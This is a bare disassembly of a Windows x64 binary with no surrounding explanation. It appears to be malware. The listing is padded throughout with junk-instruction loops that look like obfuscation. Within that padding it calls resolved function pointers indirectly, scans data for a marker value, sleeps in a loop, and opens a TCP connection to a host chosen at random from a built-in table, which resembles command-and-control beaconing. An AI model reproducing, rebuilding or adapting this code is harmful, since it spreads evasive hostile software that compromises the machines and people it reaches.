mov eax, 0x3864
cmp eax, dword [rsp]
jl 0x140003eb7
add rsp, 0x10
mov eax, dword [0x140009a31]
add r14, 0x4e3d
mov edi, dword [rbp - 0xa9]
mov qword [rbp - 0x317], r10
mov edi, ecx
mov dword [rbp - 0x2ca], esi
mov rcx, r9
mov qword [rbp - 0x82], r11
mov eax, dword [rbp - 0x242]
mov rcx, qword [rbp - 0x44c]
mov qword [rbp - 0x295], r8
mov eax, dword [rbp - 0x149]
mov ebx, edx
lea r11, [rbp - 0x403]
mov esi, dword [rbp - 0x46b]
mov qword [rbp - 0x2b6], rsi
movzx ecx, cl
mov qword [rbp - 0x449], rdi
mov r8, rsi
mov r12, rsi
mov ecx, edi
mov esi, dword [rbp - 0x80]
leave
pop r15
pop rdi
pop r14
pop r12
pop rsi
pop rbx
call fcn.140006dc6
cmp eax, 0xffffffff
je 0x140003603
mov rbx, qword [0x1400092f0]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0xf8
add dword [rbp - 0x9d], ecx
or edx, dword [rbp - 0x12]
movzx ecx, ax
or edx, eax
mov edx, eax
add rax, r11
cmp r9, rcx
je 0x14000407f
mov r10, qword [0x140009a34]
mov ecx, 0x32ca
mov rdx, rax
lea r11, [rbp - 0x2a]
sub r11, 0x6225
add edx, 0x6f7a
xor rcx, qword [rbp - 0x46]
mov eax, dword [rbp - 0x92]
or edx, dword [rbp - 0x6f]
add qword [rbp - 0x7e], rcx
mov r9, 0x657
add word [rbp - 0xc], dx
mov r8, qword [rbp - 0x23]
movzx ecx, dl
add edx, 0x8075
sub ecx, dword [0x140009a2e]
movzx eax, cx
mov ecx, dword [rbp - 0x67]
or eax, dword [rbp - 0x99]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400040f9
mov ecx, dword [rbp - 0xbd]
mov dword [0x140009a39], edx
add r10, qword [rbp - 0xbb]
mov eax, ecx
mov eax, edx
add cx, 0x10fe
and dword [rbp - 0x2c], edx
mov qword [rbp - 0x37], r11
or qword [rbp - 0x48], rdx
movzx ecx, cl
sub r8, 0x2ef2
mov dword [rbp - 0xae], edx
sub dword [rbp - 0x66], ecx
mov eax, 0x65b2
mov r10, qword [rbp - 7]
mov rax, qword [rbp - 0x83]
mov r9, r8
mov dword [rbp - 0x21], eax
mov edx, dword [rbp - 0xc2]
inc qword [rsp]
cmp qword [rsp], 0xd30
jle 0x14000409f
add rsp, 0x10
mov r8, qword [rbp - 0x9b]
mov r11, qword [rbp - 9]
mov edx, dword [rbp - 0x64]
mov dword [rbp - 0x73], edx
add ecx, dword [rbp - 0x91]
add qword [rbp - 0x83], rax
mov dword [rbp - 0x9f], ecx
add eax, ecx
mov eax, dword [0x140009a2f]
mov dword [rbp - 5], edx
mov dword [rbp - 0x9d], ecx
lea r9, [rbp - 0x6b]
mov r11, 0xd4c2
mov eax, 0x84a8
mov dword [rbp - 0xad], eax
leave
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x14000426d
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
jmp 0x140003603
mov rcx, rbx
lea rdx, [0x140009250]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x14000415e
mov rcx, rbx
lea rdx, [0x140009260]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x14000415e
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x140004b67
cmp dword [rbp - 0xbe], 0
je 0x14000415e
push rbp
mov rbp, rsp
sub rsp, 0x378
mov eax, ecx
mov r9, r10
mov dword [rbp - 0xd], ecx
sub dword [rbp - 0x1f5], eax
add r10, r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004329
mov r8, qword [rbp - 0x318]
movzx ecx, byte [rbp - 0xd2]
mov qword [rbp - 0x2a4], rdx
xor edx, dword [rbp - 0x30d]
sub rdx, qword [rbp - 0xe8]
mov eax, 0x53e4
xor dword [rbp - 0x15d], edx
mov r11, qword [rbp - 0xa5]
inc qword [rsp]
mov ecx, 0x3df8
cmp ecx, dword [rsp]
jl 0x1400042f1
add rsp, 0x10
mov r11, qword [rbp - 0x106]
cmp rcx, qword [0x140009a39]
jae 0x1400043ba
add r9, qword [rbp - 0xe3]
mov rdx, qword [rbp - 0xaf]
mov qword [0x140009a39], r11
movzx eax, dx
mov r9, rdx
mov r11, qword [rbp - 0x348]
mov r10, qword [rbp - 0x116]
mov eax, dword [rbp - 0x29a]
add edx, 0xb1b6
or rdx, qword [rbp - 0x1b5]
and eax, 0xd1d
mov word [rbp - 0x1d], ax
movzx ecx, ah
mov edx, dword [rbp - 0x254]
mov qword [rbp - 0xd2], r8
movzx ecx, dl
and eax, dword [rbp - 0x32f]
mov ecx, edx
mov rax, qword [rbp - 0x211]
and dword [rbp - 0x18d], eax
mov dword [str.fLlHJ2OTn6cPl9bBcMl4iQgpggh90ribDYGrFBdmT4JQSXUGoBfghBlTU5eCgMFJ3Hoy6jW0], eax
movzx ecx, cl
mov r8, qword [rbp - 0x76]
mov ecx, eax
mov ecx, dword [rbp - 0x239]
mov edx, ecx
mov r8, qword [rbp - 0x2b5]
mov dword [rbp - 0x20e], ecx
mov rdx, qword [rbp - 0xbe]
add r9, qword [rbp - 0x28d]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000444f
mov qword [rbp - 0x327], rax
mov dword [rbp - 0xc4], edx
mov dword [rbp - 0x28e], eax
add dword [rbp - 0x2e6], eax
mov r9, qword [rbp - 0x210]
mov ecx, eax
sub dword [rbp - 0x8d], ecx
mov r11, r10
mov dword [rbp - 0x332], edx
mov r9, rdx
mov qword [rbp - 0x350], rcx
mov r11, qword [rbp - 0x88]
sub ecx, eax
mov edx, dword [rbp - 0x83]
mov qword [rbp - 0x2dd], rcx
mov ecx, dword [rbp - 0x1ef]
inc qword [rsp]
cmp qword [rsp], 0x9477
jle 0x1400043f4
add rsp, 0x10
leave
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.140004c44
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x140009483], al
call fcn.14000611d
lea rsi, [0x140009008]
push rbp
mov rbp, rsp
sub rsp, 0x4d8
mov ecx, edx
cmp edx, 0xdc7fd7bd
je 0x1400045c8
lea rdx, [rbp - 0x10c]
or dx, word [rbp - 0x125]
mov edx, 0x4243
or eax, 0x8de0
mov qword [rbp - 0x39d], r11
sub qword [rbp - 0x2e4], r8
mov qword [rbp - 0xac], rdx
sub rcx, 0xa2c1
sub r11, qword [rbp - 0xd3]
mov eax, dword [rbp - 0x47e]
add r11, 0xbbd8
mov dword [rbp - 0x497], eax
movzx ecx, ch
mov eax, 0x981
movzx ecx, al
or r9, r11
mov r11, 0xdec1
mov r11, rcx
add ecx, dword [rbp - 0x187]
lea rdx, [rbp - 0x118]
and dword [rbp - 0x15], eax
mov qword [0x140009a30], r8
mov eax, 0x97d7
mov r8, r10
nop
mov qword [rbp - 0x316], r11
mov dword [rbp - 0x312], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004574
mov r10, 0x7904
sub rdx, qword [rbp - 0x3fb]
mov r8, qword [rbp - 0x1d8]
mov qword [rbp - 0x2e], r10
lea r10, [rbp - 0x224]
add ecx, 0x897e
inc qword [rsp]
mov rdx, 0x70ae
cmp qword [rsp], rdx
jle 0x14000454a
add rsp, 0x10
mov eax, dword [rbp - 0xc5]
sub r10, r9
sub r9, 0x7c81
mov rax, 0x56a7
mov r10, qword [rbp - 0x14]
mov ecx, dword [rbp - 0x3b8]
sub r8, qword [rbp - 0x131]
mov qword [rbp - 0x3ba], r10
or rax, r9
movzx eax, al
mov qword [rbp - 0x103], r9
mov edx, ecx
mov eax, 0x74af
leave
mov rcx, rsi
lea rdx, [0x140009103]
cmp byte [0x140009483], 1
jne 0x1400045e3
lea rdx, [0x140009108]
mov rax, qword [0x1400099d3]
call rax
mov rcx, rsi
lea rdx, [0x1400092f8]
mov rax, qword [0x1400099ab]
call rax
push rax
push rax
push rsi
push r12
push rbp
mov rbp, rsp
sub rsp, 0x368
mov dword [rbp - 0x1b], edx
mov r8, qword [rbp - 0x17]
mov dword [rbp - 0x15f], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000466f
sub r10, qword [rbp - 0x27]
mov eax, esi
add r11, 0xc064
or rdx, qword [rbp - 0x310]
mov dword [rbp - 0x1f8], esi
mov r12, 0x6107
mov r12, qword [rbp - 0x275]
and eax, dword [rbp - 0xd0]
mov dword [rbp - 0x28d], esi
mov r11, qword [0x140009a32]
add rdx, r11
mov r12, r10
inc qword [rsp]
mov esi, 0x1022
cmp esi, dword [rsp]
jl 0x14000462a
add rsp, 0x10
mov eax, esi
mov esi, dword [rbp - 0x206]
mov eax, ecx
or dword [rbp - 0x1d], eax
mov ecx, 0x3f22
add qword [0x140009a32], r10
mov dword [rbp - 0x2d4], esi
mov qword [rbp - 0x353], rax
mov dword [rbp - 0x9e], eax
mov r10, r8
sub dword [rbp - 0x20b], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004797
mov edx, dword [rbp - 0x44]
or qword [rbp - 0x322], r11
movzx esi, cl
mov dword [rbp - 0x2d1], edx
mov dword [rbp - 0x1e8], esi
lea r10, [rbp - 0xed]
xor qword [rbp - 0x32f], r11
xor dword [rbp - 0x44], eax
mov esi, ecx
and eax, 0x8129
mov dword [rbp - 0x2ea], edx
add rsi, r11
xor rsi, 0x3d7f
mov esi, dword [rbp - 0x1e7]
mov eax, edx
sub qword [rbp - 0x100], rdx
movzx esi, ax
mov rax, qword [rbp - 0x1f4]
mov ecx, edx
mov dword [rbp - 0x89], esi
mov r11, qword [rbp - 0x336]
nop
mov dword [rbp - 0x25e], eax
or eax, 0x2f07
mov qword [rbp - 0xf0], rsi
mov dword [rbp - 0x327], edx
mov qword [rbp - 0x244], r10
mov ecx, dword [rbp - 0x29c]
mov dword [rbp - 0x1f5], ecx
mov qword [rbp - 0x14c], r12
mov dword [rbp - 0x18d], ecx
mov edx, ecx
mov qword [rbp - 0x35b], rsi
mov eax, dword [rbp - 0x25]
xor rdx, 0x2664
mov dword [rbp - 0x266], esi
add dh, ah
mov qword [rbp - 0x17e], rcx
mov r9, r12
add r9, r8
sub ecx, 0xa679
inc qword [rsp]
cmp qword [rsp], 0xac98
jle 0x1400046c3
add rsp, 0x10
leave
pop r12
pop rsi
pop rax
pop rax
cmp rax, 0
je 0x14000415e
mov rdi, rax
mov rcx, rbx
mov rdx, 1
movsxd r8, dword [rbp - 0xbe]
dec r8
mov r9, rdi
mov rax, qword [0x1400099bb]
call rax
push rdi
push rbx
push r15
push r14
push rbp
mov rbp, rsp
sub rsp, 0x448
and eax, dword [rbp - 0xdf]
mov edi, edx
mov ebx, 0xd400
mov qword [0x140009a2f], rdi
mov rcx, qword [0x140009a35]
sub dword [rbp - 0x340], edx
mov edi, 0x9a70
add ebx, dword [rbp - 0x23f]
add edi, ebx
mov dword [rbp - 0x107], ebx
xor qword [0x140009a2c], rcx
mov r10, qword [rbp - 0x18b]
mov edi, dword [rbp - 0x36e]
mov rbx, qword [rbp - 0x265]
movzx ecx, byte [rbp - 0x232]
xor r15, r8
movzx edi, ch
mov ecx, 0x84c2
mov ecx, edi
mov ebx, dword [rbp - 0x49]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000494a
mov dword [rbp - 0x1c2], edx
mov edi, dword [rbp - 0x2e5]
sub dword [rbp - 0x1ef], ecx
mov r10, qword [rbp - 0x311]
mov eax, dword [rbp - 0xf7]
movzx edi, dl
mov r15, rcx
and rdi, qword [rbp - 0x13d]
sub r14, qword [rbp - 0x1b7]
or rdi, r8
mov qword [rbp - 0x210], rax
mov edx, dword [rbp - 0x252]
mov qword [rbp - 0x293], rdi
sub r15, rbx
mov r9, rdi
mov rax, qword [rbp - 0x358]
movzx ebx, al
mov edx, edi
or dword [0x140009a2e], edx
lea r9, [rbp - 0x246]
and r15, 0x719c
mov qword [rbp - 0x6f], r14
mov dword [rbp - 0xbe], edx
and eax, dword [rbp - 0x143]
add ecx, dword [rbp - 0x265]
sub r15, rcx
mov qword [rbp - 0x181], r10
mov r9, qword [rbp - 0x109]
and dword [0x140009a2f], edx
or edi, ecx
mov ebx, dword [0x140009a30]
movzx edx, bl
mov qword [rbp - 0x83], r9
sub r9, rax
add r10, r15
xor dword [rbp - 0x186], eax
mov rcx, qword [rbp - 0x17]
movzx ebx, byte [0x140009a37]
mov ebx, ecx
mov rbx, qword [rbp - 0xf0]
mov rbx, r10
add rdx, rax
mov r14, qword [rbp - 0x1b9]
mov dword [rbp - 0x2ec], edi
inc qword [rsp]
mov rcx, 0x33e
cmp qword [rsp], rcx
jle 0x140004864
add rsp, 0x10
leave
pop r14
pop r15
pop rbx
pop rdi
mov rcx, rdi
mov rax, qword [0x1400099a3]
call rax
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
cmp byte [0x140009483], 1
jne 0x1400049b7
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push r12
push r13
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x398
sub r8, qword [0x140009a2f]
lea r12, [rbp - 0x22b]
add r13, 0xa747
add ebx, edx
mov dword [rbp - 0x2cd], ebx
and edx, ebx
mov dword [rbp - 0x147], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004bec
mov edx, dword [rbp - 0x2e]
mov dword [rbp - 0x22], ecx
mov dword [rbp - 0x47], ecx
xor dword [rbp - 0x167], edx
sub qword [rbp - 0x257], rax
sub eax, 0xee65
mov dword [rbp - 0x324], ecx
add edx, eax
mov dword [rbp - 0x113], eax
sub r13, r11
mov ebx, dword [rbp - 0x19d]
inc qword [rsp]
mov r9, 0xa85f
cmp qword [rsp], r9
jle 0x140004bb6
add rsp, 0x10
sub rax, rcx
mov rcx, qword [rbp - 0x2f]
mov r11, r10
lea ecx, [rbp - 0x29f]
add r13, r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004c22
inc qword [rsp]
mov ecx, 0x7a83
cmp ecx, dword [rsp]
jl 0x140004c1e
add rsp, 0x10
leave
pop rbx
pop r13
pop r12
ret
push rbp
mov rbp, rsp
sub rsp, 0x228
add dword [rbp - 0x88], edx
mov qword [rbp - 0x167], rcx
mov qword [0x140009a39], rcx
lea r10, [rbp - 0x79]
cmp edx, 0x408f3289
jne 0x140006cec
mov dx, word [rbp - 0x21a]
mov edx, dword [rbp - 0x120]
mov qword [rbp - 0x8a], r11
mov qword [rbp - 0x1f2], r9
mov dword [rbp - 0x1b5], edx
mov qword [rbp - 0x41], r11
mov dword [rbp - 0x1b7], edx
add ecx, 0xa703
add qword [rbp - 0x81], rdx
mov r10, rax
mov dword [rbp - 0xcf], ecx
mov dword [rbp - 0x59], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006c53
movzx edx, byte [rbp - 0xb6]
add qword [rbp - 0x10b], r11
mov rdx, qword [rbp - 0x3e]
mov rcx, rdx
mov eax, ecx
or qword [rbp - 0x1f4], rax
or r9, qword [rbp - 0x141]
mov edx, ecx
mov r11, qword [rbp - 0x1d4]
add rax, qword [0x140009a34]
mov ecx, edx
mov dword [rbp - 0xbe], edx
movzx eax, cx
mov dword [rbp - 0x158], ecx
mov qword [rbp - 0xc8], r8
mov ecx, 0x6fb9
xor dword [rbp - 0x172], edx
or ecx, eax
mov rcx, qword [0x140009a2d]
add dword [rbp - 0x19f], ecx
sub dword [rbp - 0x120], edx
xor edx, dword [rbp - 0xd2]
mov r8, qword [rbp - 0x138]
mov ecx, dword [rbp - 0x11c]
mov eax, 0xdd89
sub qword [rbp - 0x74], r8
sub qword [rbp - 0x165], r11
mov dword [rbp - 0xea], edx
mov eax, edx
inc qword [rsp]
mov r11, 0xb193
cmp qword [rsp], r11
jle 0x140006bb7
add rsp, 0x10
xor eax, dword [rbp - 0xd4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006cde
mov edx, dword [rbp - 0x52]
and ecx, edx
or dword [rbp - 0x125], ecx
mov eax, ecx
sub rax, qword [rbp - 0x105]
mov dword [rbp - 0x156], edx
mov word [rbp - 0xf2], cx
mov rdx, r11
mov ecx, eax
add ecx, edx
xor qword [rbp - 0x72], rcx
mov qword [rbp - 0x13d], r8
movzx edx, byte [rbp - 0x1e4]
mov rax, rcx
add qword [rbp - 0x114], rcx
sub qword [rbp - 0x104], r8
mov edx, ecx
mov dword [rbp - 0x80], ecx
mov qword [rbp - 0x3c], r8
mov edx, dword [rbp - 0x17c]
xor rax, qword [rbp - 0x71]
inc qword [rsp]
mov eax, 0x3172
cmp eax, dword [rsp]
jl 0x140006c7c
add rsp, 0x10
leave
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x140006b33
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x1400098f7]
lea rcx, [0x1400098df]
mov rcx, qword [rcx + rdx*8]
mov qword [0x1400091be], rcx
xor r8d, r8d
lea rdx, [0x1400091bb]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x140006da4
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006d9a
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x140006d92
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret